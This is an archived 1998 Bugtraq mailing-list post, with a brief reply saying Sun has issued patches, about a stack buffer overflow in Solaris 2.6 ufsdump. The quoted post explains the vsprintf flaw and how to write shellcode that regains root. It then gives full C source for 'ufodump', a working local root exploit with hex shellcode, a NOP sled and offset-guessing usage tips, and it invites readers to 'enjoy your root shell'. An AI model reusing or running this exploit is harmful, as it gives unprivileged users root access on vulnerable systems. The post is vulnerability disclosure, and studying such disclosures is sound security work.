This vulnerability was patched over a month ago. Patch 106793-01 SPARC Patch 106794-01 x86 Both were available in early November. Scott Stubbs scottat_private []Date: Wed, 30 Dec 1998 23:43:35 +0100 []Comments: This message did not originate from the Sender address above. It was remailed automatically by anonymizing remailer software. Please report problems or inappropriate use to the remailer administrator at <abuseat_private>. []From: Anonymous <nobodyat_private> []Subject: Revisiting ufsdump under Solaris 2.6 []X-To: smmat_private []To: BUGTRAQat_private [] []A while back, in April and June of 1998, there was some chatter on Bugtraq []about the ufsdump and ufsrestore programs in Solaris 2.6. The first []posting came from Seth McGann who had managed to create a preliminary []exploit for ufsdump on the i386 platform. Seth's original post can be []found at: [] [] http://www.netspace.org/cgi-bin/wa?A2=ind9804D&L=bugtraq&P=R1130 [] []Seth experienced some difficulties with his exploit and I thought I might []clarify some of his questions. To start with, yes, the i386 binary of []ufsdump in Solaris 2.6 is indeed vulnerable; Seth's shell code needs just []a little bit more kung fu to get us a root shell. [] []Just like rdist, ufsdump runs most of the time with an EUID and UID of []you, but retains a saved UID of root (thanks to its original SUID root []nature) which it uses to toggle its EUID between you and root as needed, []but only briefly and for small sections of code at a time. What does this []mean to you, the enterprising young exploit writer? You must use this []same mechanism to make sure your shell (or whatever else you plan to do) []gets exec'd as root. But there is one other step you must worry about. []The Bourne shell under Solaris performs checks of its EUID when it runs. []If the EUID of the shell is less than 100 and does not match the real UID, []the shell drops its privileges by reverting its EUID back to its real UID. []Do you see where this is leading? In your shell code you must do a []seteuid(0) to set your effective UID to 0 (chances are your EUID was not 0 []when the overflow happened, as is the case with this particular ufsdump []hole), followed by a setuid(0) to fully become root, followed by your []execve() to get your shell. A fully functional exploit is included at the []end of this message. This very same shell code can be used in a rdist []exploit for Solaris 2.6 (i386), but I'll not post that today. [] []Why don't I take this opportunity to put in a few jabs at Sun. What are []the engineers at Sun thinking? The buffer overflow exploit is not at all []a new or exotic technique, and their sorry coding practices make this type []of exploit surprisingly easy. What is the problem in ufsdump? In the []function msg(), vsprintf() is used to build an informational message to []display back to the user, but the buffer used to hold the message (1024 []bytes in size) resides on the stack, and that is the key to the exploit. []Among the many calls to msg() in ufsdump, some calls used for creating []error messages include the erroneous input in the text of the message, and []this exploit tweaks one of those calls that uses a vsprintf format string []of "Cannot open dump device `%s': %s\n", where we, the untrusted users, []get to provide the dump device name. That is not the only possible avenue []of attack, either. If ufsdump is invoked with an argv[0] of "hsmdump" []there are what appear to be even easier overflows of the U and O command []line options. [] []Knock, knock, anybody home? Just imagine all the problems Sun would solve []if they replaced each of these vsprintf() and sprintf() calls in the []Solaris source tree with a simple vsnprintf() or snprintf() call. Is that []too much to ask from such a large and powerful organization like Sun with []deep pockets and lots of engineers? [] []Okay, I'll shut up now. Here's the exploit code. An offset argument of []around -500 seems to work good for me. The ufsdump error message will []spill garbage all over your TTY, but just tap your enter key a couple of []times and enjoy your root shell, then be sure to send Sun your thanks. [] [] Your brother in arms, [] [] Cheez Whiz [] cheezbeastat_private [] []ufodump.c [] []----- cut here ----- cut here ----- cut here ----- cut here ----- [] []/** []*** ufodump - i386 Solaris root exploit for /usr/lib/fs/ufs/ufsdump []*** []*** Tested and confirmed under Solaris 2.6 i386 []*** []*** Usage: % ufodump [offset] []*** []*** where offset (if present) is the number of bytes to add to the stack []*** pointer to calculate your target return address; try -1000 to 1000 in []*** increments of 100 for starters. Thanks go to Seth McGann for the []*** original bug report and a preliminary exploit. []*** []*** Cheez Whiz []*** cheezbeastat_private []*** []*** December 30, 1998 []**/ [] []#include <stdio.h> []#include <stdlib.h> []#include <string.h> []#include <unistd.h> [] []#define BUFLEN 1100 []#define NOP 0x90 [] []char shell[] = []/* 0 */ "\xeb\x48" /* jmp springboard */ []/* syscall: */ []/* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */ []/* 9 */ "\xc3" /* ret */ []/* start: */ []/* 10 */ "\x5e" /* popl %esi */ []/* 11 */ "\x31\xc0" /* xor %eax,%eax */ []/* 13 */ "\x89\x46\xb4" /* movl %eax,-0x4c(%esi) */ []/* 16 */ "\x88\x46\xb9" /* movb %al,-0x47(%esi) */ []/* 19 */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ []/* 22 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ []/* seteuid: */ []/* 25 */ "\x31\xc0" /* xor %eax,%eax */ []/* 27 */ "\x50" /* pushl %eax */ []/* 28 */ "\xb0\x8d" /* movb $0x8d,%al */ []/* 30 */ "\xe8\xdf\xff\xff\xff" /* call syscall */ []/* 35 */ "\x83\xc4\x04" /* addl $0x4,%esp */ []/* setuid: */ []/* 38 */ "\x31\xc0" /* xor %eax,%eax */ []/* 40 */ "\x50" /* pushl %eax */ []/* 41 */ "\xb0\x17" /* movb $0x17,%al */ []/* 43 */ "\xe8\xd2\xff\xff\xff" /* call syscall */ []/* 48 */ "\x83\xc4\x04" /* addl $0x4,%esp */ []/* execve: */ []/* 51 */ "\x31\xc0" /* xor %eax,%eax */ []/* 53 */ "\x50" /* pushl %eax */ []/* 54 */ "\x8d\x5e\x08" /* leal 0x8(%esi),%ebx */ []/* 57 */ "\x53" /* pushl %ebx */ []/* 58 */ "\x8d\x1e" /* leal (%esi),%ebx */ []/* 60 */ "\x89\x5e\x08" /* movl %ebx,0x8(%esi) */ []/* 63 */ "\x53" /* pushl %ebx */ []/* 64 */ "\xb0\x3b" /* movb $0x3b,%al */ []/* 66 */ "\xe8\xbb\xff\xff\xff" /* call syscall */ []/* 71 */ "\x83\xc4\x0c" /* addl $0xc,%esp */ []/* springboard: */ []/* 74 */ "\xe8\xbb\xff\xff\xff" /* call start */ []/* data: */ []/* 79 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */ []/* 87 */ "\xff\xff\xff\xff" /* DATA */ []/* 91 */ "\xff\xff\xff\xff"; /* DATA */ [] []char buf[BUFLEN]; []unsigned long int nop, esp; []long int offset = 0; [] []unsigned long int []get_esp() []{ [] __asm__("movl %esp,%eax"); []} [] []void []main (int argc, char *argv[]) []{ [] int i; [] [] if (argc > 1) [] offset = strtol(argv[1], NULL, 0); [] [] if (argc > 2) [] nop = strtoul(argv[2], NULL, 0); [] else [] nop = 800; [] [] esp = get_esp(); [] [] memset(buf, NOP, BUFLEN); [] memcpy(buf+nop, shell, strlen(shell)); [] for (i = nop+strlen(shell); i < BUFLEN-4; i += 4) [] *((int *) &buf[i]) = esp+offset; [] [] printf("jumping to 0x%08x (0x%08x offset %d) [nop %d]\n", [] esp+offset, esp, offset, nop); [] execl("/usr/lib/fs/ufs/ufsdump", "ufsdump", "1", buf, NULL); [] [] printf("exec failed!\n"); [] return; []}
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:27:07 PDT